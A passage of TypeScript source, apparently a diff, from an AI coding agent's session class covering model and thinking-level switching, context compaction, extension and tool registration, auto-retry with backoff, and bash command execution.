this.agent.waitForIdle(); + } + + // ========================================================================= + // Model Management + // ========================================================================= + + private async emitModelSelect( + nextModel: Model, + previousModel: Model | undefined, + source: "set" | "cycle" | "restore", + ): Promise { + if (modelsAreEqual(previousModel, nextModel)) { + return; + } + await this.currentExtensionRunner.emit({ + type: "model_select", + model: nextModel, + previousModel, + source, + }); + } + + /** + * Set model directly. + * Validates that auth is configured, saves to session and settings. + * @throws Error if no auth is configured for the model + */ + async setModel(model: Model): Promise { + if (!this.sessionModelRegistry.hasConfiguredAuth(model)) { + throw new Error(`No API key for ${model.provider}/${model.id}`); + } + + const previousModel = this.model; + const thinkingLevel = this.getThinkingLevelForModelSwitch(); + this.agent.state.model = model; + this.sessionManager.appendModelChange(model.provider, model.id); + this.settingsManager.setDefaultModelAndProvider(model.provider, model.id); + + // Re-clamp thinking level for new model's capabilities + this.setThinkingLevel(thinkingLevel); + + await this.emitModelSelect(model, previousModel, "set"); + } + + /** + * Cycle to next/previous model. + * Uses scoped models (from --models flag) if available, otherwise all available models. + * @param direction - "forward" (default) or "backward" + * @returns The new model info, or undefined if only one model available + */ + async cycleModel( + direction: "forward" | "backward" = "forward", + ): Promise { + if (this.scopedModelEntries.length > 0) { + return this.cycleScopedModel(direction); + } + return this.cycleAvailableModel(direction); + } + + private async cycleScopedModel( + direction: "forward" | "backward", + ): Promise { + const scopedModels = this.scopedModelEntries.filter((scoped) => + this.sessionModelRegistry.hasConfiguredAuth(scoped.model), + ); + if (scopedModels.length <= 1) { + return undefined; + } + + const currentModel = this.model; + let currentIndex = scopedModels.findIndex((sm) => modelsAreEqual(sm.model, currentModel)); + + if (currentIndex === -1) { + currentIndex = 0; + } + const len = scopedModels.length; + const nextIndex = + direction === "forward" ? (currentIndex + 1) % len : (currentIndex - 1 + len) % len; + const next = scopedModels[nextIndex]; + const thinkingLevel = this.getThinkingLevelForModelSwitch(next.thinkingLevel); + + // Apply model + this.agent.state.model = next.model; + this.sessionManager.appendModelChange(next.model.provider, next.model.id); + this.settingsManager.setDefaultModelAndProvider(next.model.provider, next.model.id); + + // Apply thinking level. + // - Explicit scoped model thinking level overrides current session level + // - Undefined scoped model thinking level inherits the current session preference + // setThinkingLevel clamps to model capabilities. + this.setThinkingLevel(thinkingLevel); + + await this.emitModelSelect(next.model, currentModel, "cycle"); + + return { model: next.model, thinkingLevel: this.thinkingLevel, isScoped: true }; + } + + private async cycleAvailableModel( + direction: "forward" | "backward", + ): Promise { + const availableModels = this.sessionModelRegistry.getAvailable(); + if (availableModels.length <= 1) { + return undefined; + } + + const currentModel = this.model; + let currentIndex = availableModels.findIndex((m) => modelsAreEqual(m, currentModel)); + + if (currentIndex === -1) { + currentIndex = 0; + } + const len = availableModels.length; + const nextIndex = + direction === "forward" ? (currentIndex + 1) % len : (currentIndex - 1 + len) % len; + const nextModel = availableModels[nextIndex]; + + const thinkingLevel = this.getThinkingLevelForModelSwitch(); + this.agent.state.model = nextModel; + this.sessionManager.appendModelChange(nextModel.provider, nextModel.id); + this.settingsManager.setDefaultModelAndProvider(nextModel.provider, nextModel.id); + + // Re-clamp thinking level for new model's capabilities + this.setThinkingLevel(thinkingLevel); + + await this.emitModelSelect(nextModel, currentModel, "cycle"); + + return { model: nextModel, thinkingLevel: this.thinkingLevel, isScoped: false }; + } + + // ========================================================================= + // Thinking Level Management + // ========================================================================= + + /** + * Set thinking level. + * Clamps to model capabilities based on available thinking levels. + * Saves to session and settings only if the level actually changes. + */ + setThinkingLevel(level: ThinkingLevel): void { + const availableLevels = this.getAvailableThinkingLevels(); + const effectiveLevel = availableLevels.includes(level) ? level : this.clampThinkingLevel(level); + + // Only persist if actually changing + const previousLevel = this.agent.state.thinkingLevel; + const isChanging = effectiveLevel !== previousLevel; + + this.agent.state.thinkingLevel = effectiveLevel; + + if (isChanging) { + this.sessionManager.appendThinkingLevelChange(effectiveLevel); + if (this.supportsThinking() || effectiveLevel !== "off") { + this.settingsManager.setDefaultThinkingLevel(effectiveLevel); + } + this.emit({ type: "thinking_level_changed", level: effectiveLevel }); + void this.currentExtensionRunner.emit({ + type: "thinking_level_select", + level: effectiveLevel, + previousLevel, + }); + } + } + + /** + * Cycle to next thinking level. + * @returns New level, or undefined if model doesn't support thinking + */ + cycleThinkingLevel(): ThinkingLevel | undefined { + if (!this.supportsThinking()) { + return undefined; + } + + const levels = this.getAvailableThinkingLevels(); + const currentIndex = levels.indexOf(this.thinkingLevel); + const nextIndex = (currentIndex + 1) % levels.length; + const nextLevel = levels[nextIndex]; + + this.setThinkingLevel(nextLevel); + return nextLevel; + } + + /** + * Get available thinking levels for current model. + * The provider will clamp to what the specific model supports internally. + */ + getAvailableThinkingLevels(): ThinkingLevel[] { + if (!this.model) { + return THINKING_LEVELS; + } + return getSupportedThinkingLevels(this.model) as ThinkingLevel[]; + } + + /** + * Check if current model supports thinking/reasoning. + */ + supportsThinking(): boolean { + return !!this.model?.reasoning; + } + + private getThinkingLevelForModelSwitch(explicitLevel?: ThinkingLevel): ThinkingLevel { + if (explicitLevel !== undefined) { + return explicitLevel; + } + if (!this.supportsThinking()) { + return this.settingsManager.getDefaultThinkingLevel() ?? DEFAULT_THINKING_LEVEL; + } + return this.thinkingLevel; + } + + private clampThinkingLevel(level: ThinkingLevel): ThinkingLevel { + return this.model ? (clampThinkingLevel(this.model, level) as ThinkingLevel) : "off"; + } + + // ========================================================================= + // Queue Mode Management + // ========================================================================= + + /** + * Set steering message mode. + * Saves to settings. + */ + setSteeringMode(mode: "all" | "one-at-a-time"): void { + this.agent.steeringMode = mode; + this.settingsManager.setSteeringMode(mode); + } + + /** + * Set follow-up message mode. + * Saves to settings. + */ + setFollowUpMode(mode: "all" | "one-at-a-time"): void { + this.agent.followUpMode = mode; + this.settingsManager.setFollowUpMode(mode); + } + + // ========================================================================= + // Compaction + // ========================================================================= + + /** + * Manually compact the session context. + * Aborts current agent operation first. + * @param customInstructions Optional instructions for the compaction summary + */ + async compact(customInstructions?: string): Promise { + this.disconnectFromAgent(); + await this.abort(); + this.compactionAbortController = new AbortController(); + this.emit({ type: "compaction_start", reason: "manual" }); + + try { + const settings = this.settingsManager.getCompactionSettings(); + const outcome = await this.runCompactionWork({ + customInstructions, + mode: "manual", + settings, + signal: this.compactionAbortController.signal, + }); + if (outcome.status !== "compacted") { + throw new Error("Compaction cancelled"); + } + + this.emit({ + type: "compaction_end", + reason: "manual", + result: outcome.result, + aborted: false, + willRetry: false, + }); + return outcome.result; + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + const aborted = + message === "Compaction cancelled" || + (error instanceof Error && error.name === "AbortError"); + this.emit({ + type: "compaction_end", + reason: "manual", + result: undefined, + aborted, + willRetry: false, + errorMessage: aborted ? undefined : `Compaction failed: ${message}`, + }); + throw error; + } finally { + this.compactionAbortController = undefined; + this.reconnectToAgent(); + } + } + + /** + * Cancel in-progress compaction (manual or auto). + */ + abortCompaction(): void { + this.compactionAbortController?.abort(); + this.autoCompactionAbortController?.abort(); + } + + /** + * Cancel in-progress branch summarization. + */ + abortBranchSummary(): void { + this.branchSummaryAbortController?.abort(); + } + + private async getAutoCompactionRequestAuth(model: Model): Promise< + | { + apiKey?: string; + headers?: Record; + } + | undefined + > { + if (this.agent.streamFn !== streamSimple) { + return this.getCompactionRequestAuth(model); + } + + const authResult = await this.sessionModelRegistry.getApiKeyAndHeaders(model); + if (!authResult.ok || !authResult.apiKey) { + return undefined; + } + return { apiKey: authResult.apiKey, headers: authResult.headers }; + } + + private async runCompactionWork(options: { + settings: ReturnType; + signal: AbortSignal; + customInstructions?: string; + mode: "manual" | "auto"; + }): Promise { + const isManual = options.mode === "manual"; + if (!this.model) { + if (isManual) { + throw new Error(formatNoModelSelectedMessage()); + } + return { status: "skipped" }; + } + + const auth = isManual + ? await this.getCompactionRequestAuth(this.model) + : await this.getAutoCompactionRequestAuth(this.model); + if (!auth) { + return { status: "skipped" }; + } + + const pathEntries = this.sessionManager.getBranch(); + const preparation = unwrapCoreResult(prepareCompaction(pathEntries, options.settings)); + if (!preparation) { + if (isManual) { + const lastEntry = pathEntries[pathEntries.length - 1]; + throw new Error( + lastEntry?.type === "compaction" + ? "Already compacted" + : "Nothing to compact (session too small)", + ); + } + return { status: "skipped" }; + } + + let compactionResult: CompactionResult | undefined; + let fromExtension = false; + if (this.currentExtensionRunner.hasHandlers("session_before_compact")) { + const extensionResult = await this.currentExtensionRunner.emit({ + type: "session_before_compact", + preparation, + branchEntries: pathEntries, + customInstructions: options.customInstructions, + signal: options.signal, + }); + + if (extensionResult?.cancel) { + return { status: "aborted" }; + } + + if (extensionResult?.compaction) { + compactionResult = extensionResult.compaction; + fromExtension = true; + } + } + + compactionResult ??= unwrapCoreResult( + await compact( + preparation, + this.model, + auth.apiKey, + auth.headers, + options.customInstructions, + options.signal, + this.thinkingLevel, + this.agent.streamFn, + ), + ); + + if (options.signal.aborted) { + return { status: "aborted" }; + } + + this.sessionManager.appendCompaction( + compactionResult.summary, + compactionResult.firstKeptEntryId, + compactionResult.tokensBefore, + compactionResult.details, + fromExtension, + ); + const newEntries = this.sessionManager.getEntries(); + const sessionContext = this.sessionManager.buildSessionContext(); + this.agent.state.messages = sessionContext.messages; + + const savedCompactionEntry = newEntries.find( + (e) => e.type === "compaction" && e.summary === compactionResult.summary, + ) as CompactionEntry | undefined; + + if (this.currentExtensionRunner && savedCompactionEntry) { + await this.currentExtensionRunner.emit({ + type: "session_compact", + compactionEntry: savedCompactionEntry, + fromExtension, + }); + } + + return { status: "compacted", result: compactionResult }; + } + + /** + * Check if compaction is needed and run it. + * Called after agent_end and before prompt submission. + * + * Two cases: + * 1. Overflow: LLM returned context overflow error, remove error message from agent state, compact, auto-retry + * 2. Threshold: Context over threshold, compact, NO auto-retry (user continues manually) + * + * @param assistantMessage The assistant message to check + * @param skipAbortedCheck If false, include aborted messages (for pre-prompt check). Default: true + */ + private async checkCompaction( + assistantMessage: AssistantMessage, + skipAbortedCheck = true, + ): Promise { + const settings = this.settingsManager.getCompactionSettings(); + if (!settings.enabled) { + return false; + } + + // Skip if message was aborted (user cancelled) - unless skipAbortedCheck is false + if (skipAbortedCheck && assistantMessage.stopReason === "aborted") { + return false; + } + + const contextWindow = this.model?.contextWindow ?? 0; + + // Skip overflow check if the message came from a different model. + // This handles the case where user switched from a smaller-context model (e.g. opus) + // to a larger-context model (e.g. codex) - the overflow error from the old model + // shouldn't trigger compaction for the new model. + const sameModel = + this.model && + assistantMessage.provider === this.model.provider && + assistantMessage.model === this.model.id; + + // Skip compaction checks if this assistant message is older than the latest + // compaction boundary. This prevents a stale pre-compaction usage/error + // from retriggering compaction on the first prompt after compaction. + const compactionEntry = getLatestCompactionEntry(this.sessionManager.getBranch()); + const assistantIsFromBeforeCompaction = + compactionEntry !== null && + assistantMessage.timestamp <= new Date(compactionEntry.timestamp).getTime(); + if (assistantIsFromBeforeCompaction) { + return false; + } + + // Case 1: Overflow - LLM returned context overflow error + if (sameModel && isContextOverflow(assistantMessage, contextWindow)) { + if (this.overflowRecoveryAttempted) { + this.emit({ + type: "compaction_end", + reason: "overflow", + result: undefined, + aborted: false, + willRetry: false, + errorMessage: + "Context overflow recovery failed after one compact-and-retry attempt. Try reducing context or switching to a larger-context model.", + }); + return false; + } + + this.overflowRecoveryAttempted = true; + // Remove the error message from agent state (it IS saved to session for history, + // but we don't want it in context for the retry) + const messages = this.agent.state.messages; + if (messages.length > 0 && messages[messages.length - 1].role === "assistant") { + this.agent.state.messages = messages.slice(0, -1); + } + return await this.runAutoCompaction("overflow", true); + } + + // Case 2: Threshold - context is getting large + // For error messages (no usage data), estimate from last successful response. + // This ensures sessions that hit persistent API errors (e.g. 529) can still compact. + let contextTokens: number; + if (assistantMessage.stopReason === "error") { + const messages = this.agent.state.messages; + const estimate = estimateContextTokens(messages); + if (estimate.lastUsageIndex === null) { + return false; + } // No usage data at all + // Verify the usage source is post-compaction. Kept pre-compaction messages + // have stale usage reflecting the old (larger) context and would falsely + // trigger compaction right after one just finished. + const usageMsg = messages[estimate.lastUsageIndex]; + if ( + compactionEntry && + usageMsg.role === "assistant" && + usageMsg.timestamp <= new Date(compactionEntry.timestamp).getTime() + ) { + return false; + } + contextTokens = estimate.tokens; + } else { + contextTokens = calculateContextTokens(assistantMessage.usage); + } + if (shouldCompact(contextTokens, contextWindow, settings)) { + return await this.runAutoCompaction("threshold", false); + } + return false; + } + + /** + * Internal: Run auto-compaction with events. + */ + private async runAutoCompaction( + reason: Exclude, + willRetry: boolean, + ): Promise { + const settings = this.settingsManager.getCompactionSettings(); + + this.emit({ type: "compaction_start", reason }); + this.autoCompactionAbortController = new AbortController(); + + try { + const outcome = await this.runCompactionWork({ + mode: "auto", + settings, + signal: this.autoCompactionAbortController.signal, + }); + if (outcome.status === "skipped") { + this.emit({ + type: "compaction_end", + reason, + result: undefined, + aborted: false, + willRetry: false, + }); + return false; + } + if (outcome.status === "aborted") { + this.emit({ + type: "compaction_end", + reason, + result: undefined, + aborted: true, + willRetry: false, + }); + return false; + } + this.emit({ + type: "compaction_end", + reason, + result: outcome.result, + aborted: false, + willRetry, + }); + + if (willRetry) { + const messages = this.agent.state.messages; + const lastMsg = messages[messages.length - 1]; + if (lastMsg?.role === "assistant" && lastMsg.stopReason === "error") { + this.agent.state.messages = messages.slice(0, -1); + } + return true; + } + + // Auto-compaction can complete while follow-up/steering/custom messages are waiting. + // Continue once so queued messages are delivered. + return this.agent.hasQueuedMessages(); + } catch (error) { + const errorMessage = error instanceof Error ? error.message : "compaction failed"; + this.emit({ + type: "compaction_end", + reason, + result: undefined, + aborted: false, + willRetry: false, + errorMessage: + reason === "overflow" + ? `Context overflow recovery failed: ${errorMessage}` + : `Auto-compaction failed: ${errorMessage}`, + }); + return false; + } finally { + this.autoCompactionAbortController = undefined; + } + } + + /** + * Toggle auto-compaction setting. + */ + setAutoCompactionEnabled(enabled: boolean): void { + this.settingsManager.setCompactionEnabled(enabled); + } + + /** Whether auto-compaction is enabled */ + get autoCompactionEnabled(): boolean { + return this.settingsManager.getCompactionEnabled(); + } + + async bindExtensions(bindings: ExtensionBindings): Promise { + if (bindings.uiContext !== undefined) { + this.extensionUIContext = bindings.uiContext; + } + if (bindings.commandContextActions !== undefined) { + this.extensionCommandContextActions = bindings.commandContextActions; + } + if (bindings.abortHandler !== undefined) { + this.extensionAbortHandler = bindings.abortHandler; + } + if (bindings.shutdownHandler !== undefined) { + this.extensionShutdownHandler = bindings.shutdownHandler; + } + if (bindings.onError !== undefined) { + this.extensionErrorListener = bindings.onError; + } + + this.applyExtensionBindings(this.currentExtensionRunner); + await this.currentExtensionRunner.emit(this.sessionStartEvent); + await this.extendResourcesFromExtensions( + this.sessionStartEvent.reason === "reload" ? "reload" : "startup", + ); + } + + private async extendResourcesFromExtensions(reason: "startup" | "reload"): Promise { + if (!this.currentExtensionRunner.hasHandlers("resources_discover")) { + return; + } + + const { skillPaths, promptPaths, themePaths } = + await this.currentExtensionRunner.emitResourcesDiscover(this.cwd, reason); + + if (skillPaths.length === 0 && promptPaths.length === 0 && themePaths.length === 0) { + return; + } + + const extensionPaths: ResourceExtensionPaths = { + skillPaths: this.buildExtensionResourcePaths(skillPaths), + promptPaths: this.buildExtensionResourcePaths(promptPaths), + themePaths: this.buildExtensionResourcePaths(themePaths), + }; + + this.sessionResourceLoader.extendResources(extensionPaths); + this.baseSystemPrompt = this.rebuildSystemPrompt(this.getActiveToolNames()); + this.agent.state.systemPrompt = this.baseSystemPrompt; + } + + private buildExtensionResourcePaths( + entries: Array<{ path: string; extensionPath: string }>, + ): Array<{ + path: string; + metadata: { source: string; scope: "temporary"; origin: "top-level"; baseDir?: string }; + }> { + return entries.map((entry) => { + const source = this.getExtensionSourceLabel(entry.extensionPath); + const baseDir = entry.extensionPath.startsWith("<") + ? undefined + : dirname(entry.extensionPath); + return { + path: entry.path, + metadata: { + source, + scope: "temporary", + origin: "top-level", + baseDir, + }, + }; + }); + } + + private getExtensionSourceLabel(extensionPath: string): string { + if (extensionPath.startsWith("<")) { + return `extension:${extensionPath.replace(/[<>]/g, "")}`; + } + const base = basename(extensionPath); + const name = base.replace(/\.(ts|js)$/, ""); + return `extension:${name}`; + } + + private applyExtensionBindings(runner: ExtensionRunner): void { + runner.setUIContext(this.extensionUIContext); + runner.bindCommandContext(this.extensionCommandContextActions); + + this.extensionErrorUnsubscriber?.(); + this.extensionErrorUnsubscriber = this.extensionErrorListener + ? runner.onError(this.extensionErrorListener) + : undefined; + } + + private refreshCurrentModelFromRegistry(): void { + const currentModel = this.model; + if (!currentModel) { + return; + } + + const refreshedModel = this.sessionModelRegistry.find(currentModel.provider, currentModel.id); + if (!refreshedModel || refreshedModel === currentModel) { + return; + } + + this.agent.state.model = refreshedModel; + } + + private bindExtensionCore(runner: ExtensionRunner): void { + const getCommands = (): SlashCommandInfo[] => { + const extensionCommands: SlashCommandInfo[] = runner + .getRegisteredCommands() + .map((command) => ({ + name: command.invocationName, + description: command.description, + source: "extension", + sourceInfo: command.sourceInfo, + })); + + const templates: SlashCommandInfo[] = this.promptTemplates.map((template) => ({ + name: template.name, + description: template.description, + source: "prompt", + sourceInfo: template.sourceInfo, + })); + + const skills: SlashCommandInfo[] = this.sessionResourceLoader + .getSkills() + .skills.map((skill) => ({ + name: `skill:${skill.name}`, + description: skill.description, + source: "skill", + sourceInfo: skill.sourceInfo, + })); + + return [...extensionCommands, ...templates, ...skills]; + }; + + runner.bindCore( + { + sendMessage: (message, options) => { + this.sendCustomMessage(message, options).catch((err) => { + runner.emitError({ + extensionPath: "", + event: "send_message", + error: err instanceof Error ? err.message : String(err), + }); + }); + }, + sendUserMessage: (content, options) => { + this.sendUserMessage(content, options).catch((err) => { + runner.emitError({ + extensionPath: "", + event: "send_user_message", + error: err instanceof Error ? err.message : String(err), + }); + }); + }, + appendEntry: (customType, data) => { + this.sessionManager.appendCustomEntry(customType, data); + }, + setSessionName: (name) => { + this.setSessionName(name); + }, + getSessionName: () => { + return this.sessionManager.getSessionName(); + }, + setLabel: (entryId, label) => { + this.sessionManager.appendLabelChange(entryId, label); + }, + getActiveTools: () => this.getActiveToolNames(), + getAllTools: () => this.getAllTools(), + setActiveTools: (toolNames) => this.setActiveToolsByName(toolNames), + refreshTools: () => this.refreshToolRegistry(), + getCommands, + setModel: async (model) => { + if (!this.sessionModelRegistry.hasConfiguredAuth(model)) { + return false; + } + await this.setModel(model); + return true; + }, + getThinkingLevel: () => this.thinkingLevel, + setThinkingLevel: (level) => this.setThinkingLevel(level), + }, + { + getModel: () => this.model, + isIdle: () => !this.isStreaming, + getSignal: () => this.agent.signal, + abort: () => { + if (this.extensionAbortHandler) { + this.extensionAbortHandler(); + return; + } + void this.abort(); + }, + hasPendingMessages: () => this.pendingMessageCount > 0, + shutdown: () => { + this.extensionShutdownHandler?.(); + }, + getContextUsage: () => this.getContextUsage(), + compact: (options) => { + void (async () => { + try { + const result = await this.compact(options?.customInstructions); + options?.onComplete?.(result); + } catch (error) { + const err = error instanceof Error ? error : new Error(String(error)); + options?.onError?.(err); + } + })(); + }, + getSystemPrompt: () => this.systemPrompt, + }, + { + registerProvider: (name, config) => { + this.sessionModelRegistry.registerProvider(name, config); + this.refreshCurrentModelFromRegistry(); + }, + unregisterProvider: (name) => { + this.sessionModelRegistry.unregisterProvider(name); + this.refreshCurrentModelFromRegistry(); + }, + }, + ); + } + + private refreshToolRegistry(options?: { + activeToolNames?: string[]; + includeAllExtensionTools?: boolean; + }): void { + const previousRegistryNames = new Set(this.toolRegistry.keys()); + const previousActiveToolNames = this.getActiveToolNames(); + const allowedToolNames = this.allowedToolNames; + const isDisabledBuiltInToolName = (name: string): boolean => + this.disableBuiltInTools && this.baseToolDefinitions.has(name); + const isAllowedTool = (name: string): boolean => + !isDisabledBuiltInToolName(name) && (!allowedToolNames || allowedToolNames.has(name)); + + const registeredTools = this.currentExtensionRunner.getAllRegisteredTools(); + const allCustomTools = [ + ...registeredTools, + ...this.customTools.map((definition) => ({ + definition, + sourceInfo: createSyntheticSourceInfo(``, { source: "sdk" }), + })), + ].filter((tool) => isAllowedTool(tool.definition.name)); + const definitionRegistry = new Map( + Array.from(this.baseToolDefinitions.entries()) + .filter(([name]) => isAllowedTool(name)) + .map(([name, definition]) => [ + name, + { + definition, + sourceInfo: createSyntheticSourceInfo(``, { source: "builtin" }), + }, + ]), + ); + for (const tool of allCustomTools) { + definitionRegistry.set(tool.definition.name, { + definition: tool.definition, + sourceInfo: tool.sourceInfo, + }); + } + this.toolDefinitions = definitionRegistry; + this.toolPromptSnippets = new Map( + Array.from(definitionRegistry.values()) + .map(({ definition }) => { + const snippet = this.normalizePromptSnippet(definition.promptSnippet); + return snippet ? ([definition.name, snippet] as const) : undefined; + }) + .filter((entry): entry is readonly [string, string] => entry !== undefined), + ); + this.toolPromptGuidelines = new Map( + Array.from(definitionRegistry.values()) + .map(({ definition }) => { + const guidelines = this.normalizePromptGuidelines(definition.promptGuidelines); + return guidelines.length > 0 ? ([definition.name, guidelines] as const) : undefined; + }) + .filter((entry): entry is readonly [string, string[]] => entry !== undefined), + ); + const runner = this.currentExtensionRunner; + const wrappedExtensionTools = wrapRegisteredTools(allCustomTools, runner); + const wrappedBuiltInTools = wrapRegisteredTools( + Array.from(this.baseToolDefinitions.values()) + .filter((definition) => isAllowedTool(definition.name)) + .map((definition) => ({ + definition, + sourceInfo: createSyntheticSourceInfo(``, { + source: "builtin", + }), + })), + runner, + ); + + const toolRegistry = new Map(wrappedBuiltInTools.map((tool) => [tool.name, tool])); + for (const tool of wrappedExtensionTools) { + toolRegistry.set(tool.name, tool); + } + this.toolRegistry = toolRegistry; + + const nextActiveToolNames = ( + options?.activeToolNames ? [...options.activeToolNames] : [...previousActiveToolNames] + ).filter((name) => isAllowedTool(name)); + + if (allowedToolNames) { + for (const toolName of this.toolRegistry.keys()) { + if (allowedToolNames.has(toolName)) { + nextActiveToolNames.push(toolName); + } + } + } else if (options?.includeAllExtensionTools) { + for (const tool of wrappedExtensionTools) { + nextActiveToolNames.push(tool.name); + } + } else if (!options?.activeToolNames) { + for (const toolName of this.toolRegistry.keys()) { + if (!previousRegistryNames.has(toolName)) { + nextActiveToolNames.push(toolName); + } + } + } + + this.setActiveToolsByName([...new Set(nextActiveToolNames)]); + } + + private buildRuntime(options: { + activeToolNames?: string[]; + flagValues?: Map; + includeAllExtensionTools?: boolean; + }): void { + const autoResizeImages = this.settingsManager.getImageAutoResize(); + const shellCommandPrefix = this.settingsManager.getShellCommandPrefix(); + const shellPath = this.settingsManager.getShellPath(); + const baseToolDefinitions = this.baseToolsOverride + ? Object.fromEntries( + Object.entries(this.baseToolsOverride).map(([name, tool]) => [ + name, + createToolDefinitionFromAgentTool(tool), + ]), + ) + : createAllToolDefinitions(this.cwd, { + read: { autoResizeImages }, + bash: { commandPrefix: shellCommandPrefix, shellPath }, + }); + + this.baseToolDefinitions = new Map( + Object.entries(baseToolDefinitions).map(([name, tool]) => [name, tool as ToolDefinition]), + ); + + const extensionsResult = this.sessionResourceLoader.getExtensions(); + if (options.flagValues) { + for (const [name, value] of options.flagValues) { + extensionsResult.runtime.flagValues.set(name, value); + } + } + + this.currentExtensionRunner = new ExtensionRunner( + extensionsResult.extensions, + extensionsResult.runtime, + this.cwd, + this.sessionManager, + this.sessionModelRegistry, + ); + if (this.extensionRunnerRef) { + this.extensionRunnerRef.current = this.currentExtensionRunner; + } + this.bindExtensionCore(this.currentExtensionRunner); + this.applyExtensionBindings(this.currentExtensionRunner); + + const defaultActiveToolNames = this.baseToolsOverride + ? Object.keys(this.baseToolsOverride) + : ["read", "bash", "edit", "write"]; + const baseActiveToolNames = options.activeToolNames ?? defaultActiveToolNames; + this.refreshToolRegistry({ + activeToolNames: baseActiveToolNames, + includeAllExtensionTools: options.includeAllExtensionTools, + }); + } + + async reload(): Promise { + const previousFlagValues = this.currentExtensionRunner.getFlagValues(); + await emitSessionShutdownEvent(this.currentExtensionRunner, { + type: "session_shutdown", + reason: "reload", + }); + await this.settingsManager.reload(); + resetApiProviders(); + await this.sessionResourceLoader.reload(); + this.buildRuntime({ + activeToolNames: this.getActiveToolNames(), + flagValues: previousFlagValues, + includeAllExtensionTools: true, + }); + + const hasBindings = + this.extensionUIContext || + this.extensionCommandContextActions || + this.extensionShutdownHandler || + this.extensionErrorListener; + if (hasBindings) { + await this.currentExtensionRunner.emit({ type: "session_start", reason: "reload" }); + await this.extendResourcesFromExtensions("reload"); + } + } + + // ========================================================================= + // Auto-Retry + // ========================================================================= + + /** + * Check if an error is retryable (overloaded, rate limit, server errors). + * Context overflow errors are NOT retryable (handled by compaction instead). + */ + private isRetryableError(message: AssistantMessage): boolean { + if (message.stopReason !== "error" || !message.errorMessage) { + return false; + } + + // Context overflow is handled by compaction, not retry + const contextWindow = this.model?.contextWindow ?? 0; + if (isContextOverflow(message, contextWindow)) { + return false; + } + + const err = message.errorMessage; + // Match: overloaded_error, provider returned error, rate limit, 429, 500, 502, 503, 504, service unavailable, network/connection errors (including connection lost), WebSocket transport closes/errors, fetch failed, premature stream endings, HTTP/2 closed before response, terminated, retry delay exceeded + return /overloaded|provider.?returned.?error|rate.?limit|too many requests|429|500|502|503|504|service.?unavailable|server.?error|internal.?error|network.?error|connection.?error|connection.?refused|connection.?lost|websocket.?closed|websocket.?error|other side closed|fetch failed|upstream.?connect|reset before headers|socket hang up|ended without|stream ended before message_stop|http2 request did not get a response|timed? out|timeout|terminated|retry delay/i.test( + err, + ); + } + + /** + * Prepare a retryable error for continuation with exponential backoff. + * @returns true if the caller should continue the agent, false otherwise + */ + private async prepareRetry(message: AssistantMessage): Promise { + const settings = this.settingsManager.getRetrySettings(); + if (!settings.enabled) { + return false; + } + + this.retryCount++; + + if (this.retryCount > settings.maxRetries) { + // Preserve the completed attempt count so post-run handling can emit the final failure. + this.retryCount--; + return false; + } + + const delayMs = settings.baseDelayMs * 2 ** (this.retryCount - 1); + + this.emit({ + type: "auto_retry_start", + attempt: this.retryCount, + maxAttempts: settings.maxRetries, + delayMs, + errorMessage: message.errorMessage || "Unknown error", + }); + + // Remove error message from agent state (keep in session for history) + const messages = this.agent.state.messages; + if (messages.length > 0 && messages[messages.length - 1].role === "assistant") { + this.agent.state.messages = messages.slice(0, -1); + } + + // Wait with exponential backoff (abortable) + this.retryAbortController = new AbortController(); + try { + await sleep(delayMs, this.retryAbortController.signal); + } catch { + // Aborted during sleep - emit end event so UI can clean up + const attempt = this.retryCount; + this.retryCount = 0; + this.emit({ + type: "auto_retry_end", + success: false, + attempt, + finalError: "Retry cancelled", + }); + return false; + } finally { + this.retryAbortController = undefined; + } + + return true; + } + + /** + * Cancel in-progress retry. + */ + abortRetry(): void { + this.retryAbortController?.abort(); + } + + /** Whether auto-retry is currently in progress */ + get isRetrying(): boolean { + return this.retryAbortController !== undefined; + } + + /** Whether auto-retry is enabled */ + get autoRetryEnabled(): boolean { + return this.settingsManager.getRetryEnabled(); + } + + /** + * Toggle auto-retry setting. + */ + setAutoRetryEnabled(enabled: boolean): void { + this.settingsManager.setRetryEnabled(enabled); + } + + // ========================================================================= + // Bash Execution + // ========================================================================= + + /** + * Execute a bash command. + * Adds result to agent context and session. + * @param command The bash command to execute + * @param onChunk Optional streaming callback for output + * @param options.excludeFromContext If true, command output won't be sent to LLM (!! prefix) + * @param options.operations Custom BashOperations for remote execution + */ + async executeBash( + command: string, + onChunk?: (chunk: string) => void, + options?: { excludeFromContext?: boolean; operations?: BashOperations }, + ): Promise { + this.bashAbortController = new AbortController(); + + // Apply command prefix if configured (e.g., "shopt -s expand_aliases" for alias support) + const prefix = this.settingsManager.getShellCommandPrefix(); + const shellPath = this.settingsManager.getShellPath(); + const resolvedCommand = prefix ? `${prefix}\n${command}` : command; + + try { + const result = await executeBashWithOperations( + resolvedCommand, + this.sessionManager.getCwd(), + options?.operations ?? createLocalBashOperations({ shellPath }), + { + onChunk, + signal: this.bashAbortController.signal, + }, + ); + + this.recordBashResult(command, result, options); + return result; + } finally { + this.bashAbortController = undefined; + } + } + + /** + * Record a bash execution result in session history. + * Used by executeBash and by extensions that handle bash execution themselves. + */ + recordBashResult( + command: string, + result: BashResult, + options?: { excludeFromContext?: boolean }, + ): void { + const bashMessage: BashExecutionMessage = { + role: "bashExecution", + command, + output: result.output, + exitCode: result.exitCode, + cancelled: result.cancelled, + truncated: result.truncated, + fullOutputPath: result.fullOutputPath, + timestamp: Date.now(), + excludeFromContext: options?.excludeFromContext, + }; + + // If agent is streaming, defer adding to avoid breaking tool_use/tool_result ordering + if (this.isStreaming) { + // Queue for later - will be flushed on agent_end + this.pendingBashMessages.push(bashMessage); + } else { + // Add to agent state immediately + this.agent.state.messages.push(bashMessage); + + // Save to session + this.sessionManager.appendMessage(bashMessage); + } + } + + /** + * Cancel running bash command. + */ + abortBash(): void { + this.bashAbortController?.abort(); + } + + /** Whether a bash command is currently running */ + get isBashRunning(): boolean { + return this.bashAbortController !== undefined; + } + + /** Whether there are pending bash messages waiting to be flushed */ + get hasPendingBashMessages(): boolean { + return this.pendingBashMessages.length > 0; + } + + /** + * Flush pending bash messages to agent state and session. + * Called after agent turn completes to maintain proper message ordering. + */ + private flushPendingBashMessages(): void { + if (this.pendingBashMessages.length === 0) { + return; + } + + for (const bashMessage of this.pendingBashMessages) { + // Add to agent state + this.agent.state.messages.push(bashMessage); + + // Save to session + this.sessionManager.appendMessage(bashMessage); + } + + this.pendingBashMessages = []; + } + + // ========================================================================= + // Session Management + // ========================================================================= + + /** + * Set a display name for the current session. + */ + setSessionName(name: string): void { + this.sessionManager.appendSessionInfo(name); + this.emit({ type: "session_info_changed", name: this.sessionManager.getSessionName() }); 